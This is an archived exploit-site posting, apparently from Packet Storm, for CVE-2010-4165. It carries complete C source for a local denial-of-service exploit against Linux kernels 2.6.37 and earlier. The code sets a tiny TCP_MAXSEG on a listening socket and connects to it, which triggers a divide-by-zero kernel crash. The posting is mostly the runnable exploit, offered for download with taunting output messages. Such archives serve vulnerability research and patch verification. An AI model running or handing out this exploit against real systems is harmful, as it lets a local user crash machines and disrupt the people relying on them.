exploit the possibilities

Linux Kernel 2.6.37 Denial Of Service

Linux Kernel 2.6.37 Denial Of Service
Posted Mar 1, 2011
Authored by prdelka

Linux kernel versions 2.6.37 and below local kernel denial of service exploit that leverages a divide-by-zero error in tcp_select_initial_window when processing user supplied TCP_MAXSEG.

tags | exploit, denial of service, kernel, local
systems | linux
advisories | CVE-2010-4165
MD5 | 8b511f6f9abf85cdb0a69e2d17c92230

Linux Kernel 2.6.37 Denial Of Service

Change Mirror Download
/* Linux Kernel <= 2.6.37 local kernel DoS (CVE-2010-4165)
* =======================================================
* A divide by 0 error occurs in tcp_select_initial_window
* when processing user supplied TCP_MAXSEG facilitating a
* local denial-of-service condition (kernel oops!) in all
* Linux Kernel 2.6.x branch (2.6.37 & below). This issue
* can be triggered easily with a call to setsockopt() on
* a listening network socket and then establishing a TCP
* connection to the awaiting socket.
*
* -- prdelka
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>


int main() {
int optval, optlen, ret, sd, sd2, pid;
char *host = "localhost";
struct sockaddr_in locAddr;
struct sockaddr_in servAddr;
struct sockaddr_in dstAddr;
printf("[ Linux Kernel tcp_select_initial_window divide by 0 DoS\n");
sd = socket(AF_INET, SOCK_STREAM, 0);
memset(&servAddr,0,sizeof(servAddr));
memset(&dstAddr,0,sizeof(dstAddr));
servAddr.sin_family = AF_INET;
servAddr.sin_port = htons(60000);
servAddr.sin_addr.s_addr = INADDR_ANY;
dstAddr.sin_family = AF_INET;
inet_aton("127.0.0.1", &dstAddr.sin_addr);
dstAddr.sin_port = htons(60000);
if((bind(sd,(struct sockaddr *)&servAddr,sizeof(struct sockaddr))) == -1){
printf("[ Cannot bind listener service\n");
exit(-1);
}
listen(sd,4);
optval = 12;
ret = setsockopt(sd, IPPROTO_TCP, TCP_MAXSEG, &optval, sizeof(optval));
if(ret==0)
{
printf("[ System is not patched against CVE-2010-4165\n[ Goodnight, sweet prince.\n");
int sin_size = sizeof(struct sockaddr_in);
switch(pid = fork())
{
case 0:
sd = accept(sd,(struct sockaddr *)&locAddr,&sin_size);
sleep(3);
default:
sd2 = socket(AF_INET, SOCK_STREAM, 0);
connect(sd2, (struct sockaddr *)&dstAddr, sizeof(dstAddr));
sleep(3);
}
}
printf("[ System is patched, no dreams for this prince\n");
return 0;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    2 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    18 Files
  • 18
    Jun 18th
    15 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close